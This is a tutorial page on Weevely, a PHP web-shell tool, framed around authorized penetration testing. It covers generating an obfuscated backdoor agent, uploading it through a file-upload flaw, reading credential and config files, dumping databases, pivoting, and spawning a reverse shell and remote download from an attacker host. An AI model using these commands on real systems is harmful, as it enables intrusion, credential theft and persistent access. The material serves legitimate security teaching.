GO KALI FREE

Weevely

Post Exploitation

Intermediatehigh risk

Learn how to use Weevely 4.0.0 from installation to cleanup: generate an obfuscated PHP agent, place it on an explicitly authorized web server, connect through the Python client, establish a shell, run built-in enumeration and file modules, troubleshoot restrictions, and remove the agent safely.

Installation

sudo apt install weevely

Basic Syntax

weevely <action> [arguments]

Quick Facts

Full Name
Weevely3
License
GPL v3
Language
Python / PHP
Interface
CLI
Category
Web Shell
Requires
PHP on Target Server

Tool Overview

To use Weevely, install the client, generate an obfuscated PHP agent with a password, upload that file to a PHP web folder on a target you are explicitly authorized to test, and connect to its URL from your terminal. Run Weevely modules to inspect the system, then remove the agent when finished.

The beginner workflow is a repeatable loop: install the Kali package with `sudo apt install weevely`, generate the local agent, upload it through an approved flaw, connect to its lab URL, enumerate only the agreed scope, collect required evidence, and clean up. Treat generation and delivery as separate steps because Weevely creates the file but never places it on the server.

In an authorized DVWA-style lab, run `weevely generate mypassword agent.php`. Weevely reports `Generated backdoor with password 'mypassword' in 'agent.php' of 671 byte size.` After making the file reachable, run `weevely http://target/agent.php mypassword`. At the initial `weevely>` prompt, enter `whoami`; once the shell is established, the output is `www-data` and the prompt changes to `www-data@target:/var/ $`. Run `:system_info` and `:file_ls` to inspect the host and current directory.

Weevely has two parts: a Python client on the tester's system and a generated PHP agent on the web server. The generation password authenticates the client to that agent, while obfuscation prevents the agent and its HTTP exchange from resembling a plain interactive shell. Remote capabilities remain limited by the PHP process account, configuration, and server permissions.

On Kali Linux, Weevely is preinstalled, while `sudo apt install weevely` installs the packaged client if needed; enter `weevely` to verify that it starts. For a source installation, run `git clone https://github.com/epinna/weevely3.git`, execute `pip3 install -r requirements.txt --break-system-packages` from the cloned project, and launch the client with `./weevely.py`.

Use `:help` or `:<TAB>` to explore the roughly 30-plus modules. Audit modules such as `:audit_etcpasswd`, `:audit_suidsgid`, and `:audit_phpconf` inspect accounts and configuration; file modules read, find, transfer, or edit data; shell modules run OS or PHP code; network modules inspect interfaces, scan, and proxy; SQL modules access or dump databases; and backdoor modules establish additional authorized channels.

Weevely does not upload its generated agent. The file must reach a PHP-enabled web folder through an authorized file-upload flaw or an approved delivery partner. Burp Suite can help identify and validate the upload flaw, while Commix can deliver the file when command injection is within scope. Obtain explicit written authorization before generating, delivering, or connecting to an agent.

Defenders should look for unexpected PHP files in writable web directories, unusual repeated HTTP request patterns, and web-server account activity involving system commands, files, databases, or network connections. WAFs may strip or reject Weevely patterns, but monitoring should not rely on a single signature. Testers must remove the agent, confirm its URL no longer serves it, and document cleanup when the assessment ends.

Sessions make repeat work practical. Run `weevely session <path>` to reload a saved session instead of reconnecting from scratch, and pass a command directly after the URL and password, as in `weevely http://target/agent.php mypassword "uname -a"`, when you need one non-interactive result for a script. If the lab routes traffic through a proxy, set it before the first command with `:set proxy <type>://<host>:<port>` at the unconnected `weevely>` prompt.

Weevely differs from single-file shells such as b374k, c99 and p0wny-shell because it generates its agent instead of shipping a fixed file: the password, the obfuscation and the small footprint are chosen at generation time, and the client adds a module system on top. That makes it a better fit for a structured authorized test, where the same generated agent can be audited, reused across the engagement and removed cleanly, than for a quick one-off upload.

Quick Reference Commands

Verified quick-reference commands for Weevely
CommandPurpose
weevely generate mypassword agent.phpGenerate a password-protected PHP agent in the current directory.
weevely http://target/agent.php mypasswordOpen the client prompt for a reachable agent.
weevely http://target/agent.php mypassword "uname -a"Run one remote command and exit.
weevely session /path/to/session.sessionResume a saved Weevely session.
:system_infoCollect remote system information in an active session.
:backdoor_reversetcp 10.10.10.10 4444Spawn a reverse TCP shell to a listener on the attacker host.Start the listener first or the connection is lost.
Weevely3 Getting Startedweevely | Kali Linux Tools

Common Commands

weevely generate <PASS> /path/to/agent.phpGenerate an obfuscated PHP agent (web shell) protected by a password
weevely http://example.com/agent.php <PASS>Open an interactive terminal session on the deployed agent
weevely http://example.com/agent.php <PASS> idRun a single command through the agent and exit
weevely session /path/to/session.sessionResume a previously saved session file
:helpList all modules available in the current session
:system_infoCollect remote system information (OS, PHP version, paths)
:system_procsList running processes on the target
:audit_etcpasswdRead /etc/passwd using several fallback techniques
:audit_suidsgidFind SUID/SGID binaries useful for privilege escalation
:audit_filesystemAudit the filesystem for writable and sensitive files
:audit_disablefunctionbypassAttempt to bypass PHP disable_functions restrictions
:file_ls /var/wwwList the contents of a remote directory
:file_download /etc/passwd ./passwdDownload a file from the target to the local machine
:file_upload ./exploit.sh /tmp/exploit.shUpload a local file to the target
:file_read /var/www/html/config.phpRead the contents of a remote file
:file_find -name "*.php" /var/wwwSearch the remote filesystem for matching files
:file_webdownload http://10.10.10.10/lin.sh /tmp/lin.shMake the target download a file from a URL
:shell_sh idRun a shell command via available system functions
:shell_php "system('id');"Execute raw PHP code on the target
:shell_su root idRun a command as another user via su
:net_scan 192.168.1.0/24 22,80,443TCP port-scan a range by pivoting through the web shell
:net_ifconfigShow the target's network interface configuration
:net_phpproxyInstall a PHP proxy on the target for pivoting
:sql_console -user <USER> -pass <PASS>Open an interactive SQL console on a reachable database
:backdoor_reversetcp 10.10.10.10 4444Spawn a reverse TCP shell back to the attacker host

Step-by-Step Guide

  1. 1Confirm the assessment notes specify Weevely 4.0.0, enter `weevely` to verify the client starts, and use `sudo apt install weevely` on Kali if it is missing.
  2. 2Obtain explicit written authorization and record the approved target URL, web folder, test period, data rules, and network scope.
  3. 3Generate the lab agent with `weevely generate mypassword agent.php` and store its password according to the engagement rules.
  4. 4Confirm that `agent.php` exists at the generated local path and that the generation message reports a 671 byte file before delivery.
  5. 5Use an authorized file-upload flaw to place `agent.php` in the target web folder, with Burp Suite validating the flaw or Commix acting as an approved delivery partner.
  6. 6Start the client with `weevely http://target/agent.php mypassword` after confirming that the uploaded file is reachable by URL as PHP.
  7. 7At the initial `weevely>` prompt, enter `uname -a` as the first real command to establish the shell and wait for the remote prompt.
  8. 8Run `:system_info`, review `:audit_suidsgid --help`, and use `:audit_suidsgid` against only an approved remote path for SUID/SGID enumeration.
  9. 9Use `:help`, then apply `:file_download` for approved evidence exfiltration and `:net_scan` for scoped pivot testing with environment-specific arguments.
  10. 10Remove the agent through the approved server or upload channel, confirm its URL is no longer usable, and document commands, findings, transfers, and cleanup.

Warnings

Use Cases

Post-Exploitation

Maintain access to compromised web servers.

File Operations

Upload/download files through HTTP tunnel.

Command Execution

Run system commands via stealthy channel.

Network Pivot

Use web server as pivot to internal networks.

WAF Evasion Testing

Send controlled Weevely traffic to determine whether an authorized target's WAF strips or rejects its request patterns, documenting the result instead of assuming obfuscation will bypass the control.

Detection & Monitoring Validation

Generate controlled agent, command, file, and network activity so defenders can verify that web logs, file monitoring, and security alerts identify the authorized test.

Credential Hunting

Use scoped modules such as `:audit_phpconf`, `:file_find`, and `:file_read` to locate authorized application configuration and credential artifacts, then handle every finding as sensitive assessment evidence.

Evidence Collection

Pull approved files, logs and database exports through the agent with `:file_download` and `:sql_dump`, keeping a record of every transfer for the final report.

Key Features

Related Tools

LinPEAS

Post Exploitation

LinPEAS is a script that searches for possible paths to escalate privileges on Linux hosts. It highlights findings using colors to signal potential misconfigurations or vulnerabilities.

Chisel

Post Exploitation

Chisel is a fast TCP/UDP tunnel utility that encapsulates traffic over an HTTP transport channel, secured via SSH. It is useful for traversing firewall boundaries and pivoting inside network environments.

Evil-WinRM

Post Exploitation

Learn how to use Evil-WinRM, a Ruby-based client for the Windows Remote Management (WinRM) protocol. This guide covers installation, your first connection, password, pass-the-hash and Kerberos authentication, file transfers and script execution, all for use in authorized lab environments.

Empire

Post Exploitation

Empire is an open-source post-exploitation and command-and-control (C2) framework originally created by @harmj0y and now maintained by BC-Security. It uses PowerShell and Python-based agents to model adversarial persistent access behaviors for authorized security testing, red team engagements, and defensive detection engineering. Empire provides encrypted communications, modular capabilities, and a flexible agent system for extended operations against Windows and Linux environments.

Impacket

Post Exploitation

Impacket is a versatile collection of Python classes for working with network protocols. It features low-level programmatic access to packets alongside specific full-featured scripts for interacting with Windows domains.

Mimikatz

Post Exploitation

Mimikatz is a powerful post-exploitation tool that exposes vulnerabilities in Windows authentication protection mechanisms, capable of extracting plaintexts passwords, hashes, PINs, and kerberos tickets from memory.

Related Cybersecurity Guides

Active Directory · Advanced

BloodHound Guide: Mapping Active Directory Relationships

Learn how to use BloodHound and SharpHound for Active Directory reconnaissance, attack path analysis, privilege escalation detection, and security assessment.

Active Directory · Advanced

Lateral Movement: Moving Through Network Environments

A comprehensive guide to lateral movement techniques in Windows networks including pass-the-hash, pass-the-ticket, PSExec, WMI, DCOM, and WinRM for authorized penetration testing.

Active Directory · Advanced

Active Directory Fundamentals: Windows Network Domains

A comprehensive introduction to Microsoft Active Directory covering domain services, LDAP, Group Policy, authentication protocols, and security fundamentals for Windows enterprise environments.

Active Directory · Advanced

Domain Enumeration: Active Directory Reconnaissance Techniques

Comprehensive guide to Active Directory enumeration using native tools, PowerShell, and specialized utilities for discovering users, groups, computers, and trust relationships.

Frequently Asked Questions

What is Weevely used for?

Weevely provides a stealthy PHP web shell for post-exploitation. It generates obfuscated PHP agents that communicate over HTTP, masking traffic as normal web requests for evasion.

How does Weevely avoid detection?

Weevely agents use base64-encoded parameters within standard HTTP requests, making traffic appear as normal web browsing. The password-protected agent prevents unauthorized access.

What can Weevely do on a target?

Weevely supports command execution, file upload/download, database interaction, network scanning, privilege escalation enumeration, and reverse shell spawning.

Does Weevely support encrypted communication?

Weevely can communicate over HTTPS if the target web server supports SSL, providing encrypted transport. The agent itself applies base64 encoding to the command parameters.

How do I use Weevely in Kali Linux?

On Kali Linux, Weevely is normally preinstalled. If it is missing, run `sudo apt install weevely`, then enter `weevely` to verify that the client starts. In an authorized lab, generate an agent, place it in a PHP-enabled web folder through an approved path, connect to its URL, run only scoped modules, and remove the file afterward.

How do I generate a Weevely agent?

Run `weevely generate mypassword agent.php`. The client creates the password-protected, obfuscated PHP agent locally and prints `Generated backdoor with password 'mypassword' in 'agent.php' of 671 byte size.` This step does not contact or upload anything to a target. Choose an engagement-specific password, protect it, and deliver the file only through a path covered by written authorization.

How do I connect Weevely to an agent?

The agent must already be uploaded to a PHP web folder and reachable by URL. Run `weevely http://target/agent.php mypassword`. The first `weevely>` prompt is not connected yet, so enter `uname -a` as the first real command. In the documented example, a normal connection changes to `www-data@target:/var/ $`; restricted command execution may instead lead to `PHP>`.

Is Weevely free?

Yes. Weevely3 is free and open-source software released under GPL v3. Version 4.0.0 uses a Python client and a generated PHP agent, includes roughly 30-plus modules, and has been maintained since its creation in 2015. The license lets you inspect and modify the software, but it does not grant permission to access someone else's server.

Is Weevely legal to use?

Use Weevely only on systems for which you have explicit written authorization. The approved scope should cover agent delivery, command execution, file access, network testing, evidence handling, and cleanup. Uploading a PHP agent without permission may be unlawful and disruptive regardless of Weevely's open-source license. Stop and clarify the rules whenever the target, timing, or permitted actions are uncertain.

How do I update Weevely in Kali Linux?

Run `sudo apt update && sudo apt install weevely` to bring the packaged client up to date on Kali. For a fresh source installation, run `git clone https://github.com/epinna/weevely3.git`, install its requirements with `pip3 install -r requirements.txt --break-system-packages`, and launch `./weevely.py`. Keep packaged and source installations distinct when checking which client starts.

Why is Weevely not working (no output / connection fails)?

First confirm that the agent file is reachable by URL and is being handled as PHP. A wrong path or a WAF that strips or rejects Weevely request patterns can prevent connection. If a session opens but commands hang or return no output, PHP `disable_functions` may block `exec`, `shell_exec`, or `system`, or the server may be hardened. A `PHP>` prompt means fallback emulation is active.

Can I use Weevely online?

Weevely is not a hosted browser service; it is a local Python terminal client that contacts a generated PHP agent over HTTP. You can use it with an online, reachable lab target only when that system is explicitly authorized and serves the agent as PHP. Do not place agents or passwords in third-party online consoles, and remove the remote file after testing.

How is Weevely different from other PHP web shells?

Weevely generates its agent at use time, so the password, obfuscation and footprint are chosen per engagement, and it adds a module system (audit, file, shell, network, SQL and backdoor modules) on top of the shell. Single-file shells such as b374k, c99 and p0wny-shell ship a fixed file with basic terminal features and no agent generation. Weevely is the better fit for a structured authorized test; the simpler shells suit a quick one-off check.

Can Weevely run on Windows?

Weevely is packaged for Kali Linux, where it is normally preinstalled, and that is the supported path for learning it. The client itself is Python, so it can also run from source on another system with Python 3: clone the repository, install the requirements with pip3 install -r requirements.txt, and launch ./weevely.py. On Windows the practical routes are WSL or a Kali virtual machine. The generated agent itself only needs a PHP-enabled web server, so the target platform does not change.

How do I remove a Weevely agent after testing?

Delete the generated PHP agent file from the target web folder as soon as the authorized assessment ends, then confirm its URL no longer responds: a 404 or a connection error proves the shell is gone. Delete local session files under ~/.weevely/sessions so no saved session can reconnect to it, and record the removal, the confirmation check and the session cleanup in the final report.

Tags

#post-exploitation#web-shell#php#stealth

Output Explanation

After `weevely http://target/agent.php mypassword`, the first prompt is `weevely>`. This is the client prompt, not proof of a remote shell, so no target command has run yet. You can enter `:help` there to list modules or configure an approved proxy with `:set proxy <type>://<host>:<port>`. Enter a first real command such as `uname -a`; that request establishes the shell. When external command execution works, the prompt changes to `www-data@target:/var/ $`, showing the remote web-server account and working directory. Commands and colon-prefixed modules now return target-dependent results. For example, `:system_info` gathers system details, while `:audit_suidsgid --help` shows `audit_suidsgid [-h] [-only-suid] [-only-sgid] rpath`. Module output varies with the account's permissions, PHP configuration, and files present on the authorized target. If PHP cannot execute external commands, Weevely changes to `PHP>` instead. In that fallback mode it emulates `cd`, `cat`, `curl`, and `nano` through PHP. If nothing connects, confirm that the agent is reachable by URL and handled as PHP, then consider WAF filtering or hardened-server restrictions.

Ethical Usage Notice

This tool is designed for authorized security testing, educational purposes, and legitimate network administration only. Unauthorized access to computer systems is illegal.